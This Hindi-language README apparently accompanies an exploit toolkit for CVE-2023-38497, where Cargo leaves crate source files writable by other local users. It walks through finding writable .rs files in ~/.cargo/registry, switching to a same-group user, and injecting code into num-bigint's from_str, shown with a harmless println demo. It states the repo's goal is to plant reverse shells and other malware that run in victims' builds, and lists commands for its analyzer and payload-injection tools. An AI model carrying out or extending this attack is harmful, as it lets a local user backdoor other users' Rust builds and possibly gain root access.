
CVE-2023-38497 से Cargo एक्सप्लॉइट
कार्गो संस्करण 1.7.0 में एक नई कमजोरी पाई गई है जैसा कि यहाँ बताया गया है।
पहले आपको सुनिश्चित करना होगा कि आपका कार्गो संस्करण कमजोर है
cargo --version
मान लीजिए मेरे पास निम्नलिखित src/main.rs फ़ाइल वाला एक कार्गो प्रोजेक्ट है:
use num_bigint::BigInt;
use std::str::FromStr;
// Silly guessing game
fn main() {
let secret_number = BigInt::from_str("123456789");
loop {
println!("Make a guess: ");
let mut guess = String::new();
std::io::stdin()
.read_line(&mut guess)
.expect("Error reading stdin");
let guess = BigInt::from_str(guess.trim());
if guess == secret_number {
println!("That's right");
break;
}
}
}
अगर मैं प्रोग्राम चलाता हूँ:
cargo run
Make a guess:
20
Make a guess:
123456789
That's right!
यहाँ कुछ गलत नहीं है।
अब, आपके सिस्टम में सभी स्थापित क्रेट्स में से, उन्हें फ़िल्टर करें जिनकी अनुमतियाँ खराब कॉन्फ़िगरेशन वाली हैं, अर्थात, जिन्हें समूह या अन्य मशीन उपयोगकर्ताओं द्वारा लिखा जा सकता है
find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"
यह सभी कमजोर रस्ट स्रोत फ़ाइलों की एक सूची देगा। इनमें से वह फ़ाइल चुनें जो आपके हमले के लिए उपयुक्त हो, जिसमें एक ऐसी विधि परिभाषित हो जो लक्ष्य कार्गो प्रोजेक्ट के स्रोत कोड में उपयोग की जाती है।
और उपरोक्त सूची से मुझे निम्नलिखित कमजोर फ़ाइल मिलती है:
$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs
जैसा कि पहले वादा किया गया था, इसकी निम्नलिखित अनुमतियाँ हैं: -rw-rw-r--
इसलिए इसे कार्गो प्रोजेक्ट स्वामी के समान समूह में किसी भी उपयोगकर्ता द्वारा संशोधित किया जा सकता है, यह डरावना है। लेकिन कल्पना करें कि कोई भी उपयोगकर्ता उस फ़ाइल को लिख सकता है, ठीक है, ऐसे क्रेट्स हैं जिनमें ऐसी अनुमतियाँ हैं।
अब आप अपनी मशीन में एक नया उपयोगकर्ता जोड़ सकते हैं, या प्रोजेक्ट उपयोगकर्ता के अलावा किसी मौजूदा उपयोगकर्ता का उपयोग कर सकते हैं जो उस फ़ाइल के उपयोगकर्ता के समान समूह से संबंधित है जिसे हम लक्षित कर रहे हैं। उदाहरण के लिए, मेरी मशीन में उस स्रोत फ़ाइल के निम्नलिखित स्वामी और समूह हैं:
atreides people
और मेरे पास एक और उपयोगकर्ता है, उस पर id कमांड चलाने से निम्नलिखित परिणाम मिलता है:
uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)
अब हम जानते हैं कि उपयोगकर्ता bob हमारी लक्ष्य फ़ाइल और ऐसी अनुमतियों वाली किसी भी अन्य फ़ाइल को लिख सकता है। bob पर स्विच करें और आगे बढ़ें।
हमारे अनुमान लगाने वाले खेल पर एक नज़र डालने पर हम देख सकते हैं कि इसमें BigInt स्ट्रक्ट से from_str विधि का उपयोग किया जा रहा है। यह देखने के लिए एक दिलचस्प विधि हो सकती है।
लक्ष्य फ़ाइल से मैंने कोड का यह टुकड़ा निकाला है:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
BigInt::from_str_radix(s, 10)
}
}
अब, क्या होगा अगर आप इसे इस तरह बनाते हैं
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
println!("Message from beyond");
BigInt::from_str_radix(s, 10)
}
}
और इसे लक्ष्य निर्देशिका को साफ करके फिर से चलाएँ:
cargo clean && cargo run
Make a guess:
20
Message from beyond
Make a guess:
123456789
Message from beyond
That's right!
वाह! कल्पना करें कि आप अपना कार्गो प्रोजेक्ट लिख रहे हैं और आपको निम्नलिखित संदेश मिलते हैं।
ध्यान दें कि ऐसा केवल तब होगा जब लक्ष्य निर्देशिका को पहले हटा दिया गया हो, अर्थात, स्रोत फ़ाइल को संशोधित करने के बाद कार्गो को क्रेट को संकलित करना होगा।
अब, यह केवल इस कमजोरी का शोषण करने के तरीके का एक डेमो है, लेकिन कल्पना करें कि यदि आप किसी स्रोत फ़ाइल के अंदर किसी भी प्रकार का पेलोड रखते हैं। इस रेपो का उद्देश्य जब भी कोई उपयोगकर्ता कार्गो प्रोजेक्ट चलाता है, उसके खाते के साथ रिवर्स शेल कनेक्शन स्थापित करना है।
यदि आप इस बात पर विचार करें कि रूट विशेषाधिकारों के साथ कार्गो स्थापनाएं हो सकती हैं, तो यह एक बड़ी कमजोरी है, इसलिए रखा गया पेलोड ऐसी अनुमतियों के साथ निष्पादित होगा।
इस प्रोजेक्ट में आपको निम्नलिखित उपयोगिताएँ मिलेंगी:
स्थानीय कार्गो संग्रह और एक लक्ष्य कार्गो प्रोजेक्ट में खोज करता है ताकि लक्ष्य के स्रोत कोड में शोषण किए जा सकने वाले सभी विशिष्ट तरीकों को खोजा जा सके। यदि कोई विशेष विधि है जिसका आप शोषण करना चाहते हैं या आपके पास लक्ष्य कार्गो प्रोजेक्ट पर पढ़ने की अनुमति नहीं है, तो हमले की पाइपलाइन में vanalyzer को छोड़ दें।
./vanalyzer/run.sh <target-project-path> <target-username>
सभी पेलोड प्रकार (मुख्य रूप से रिवर्स शेल और अन्य मैलवेयर) जिन्हें लक्ष्य क्रेट स्रोत कोड के अंदर रखा जा सकता है। अब तक सभी उपलब्ध पेलोड हैं:
मॉक शेल जो कमजोरी विश्लेषक चलाने के लिए कमांड प्राप्त करता है और ऊपर सूचीबद्ध पेलोड में से एक और कमजोरी विश्लेषक से शोषण करने के लिए चयनित विधि लेता है और पेलोड को स्रोत कोड में एकीकृत (कॉपी और पेस्ट) करता है।
cargo run
vanalyzer <cargo_project> <target_username>
integrate <file_no> <method_no> <payload>
exploit <path_to_local_archive_crate_file> <method's_name> <payload>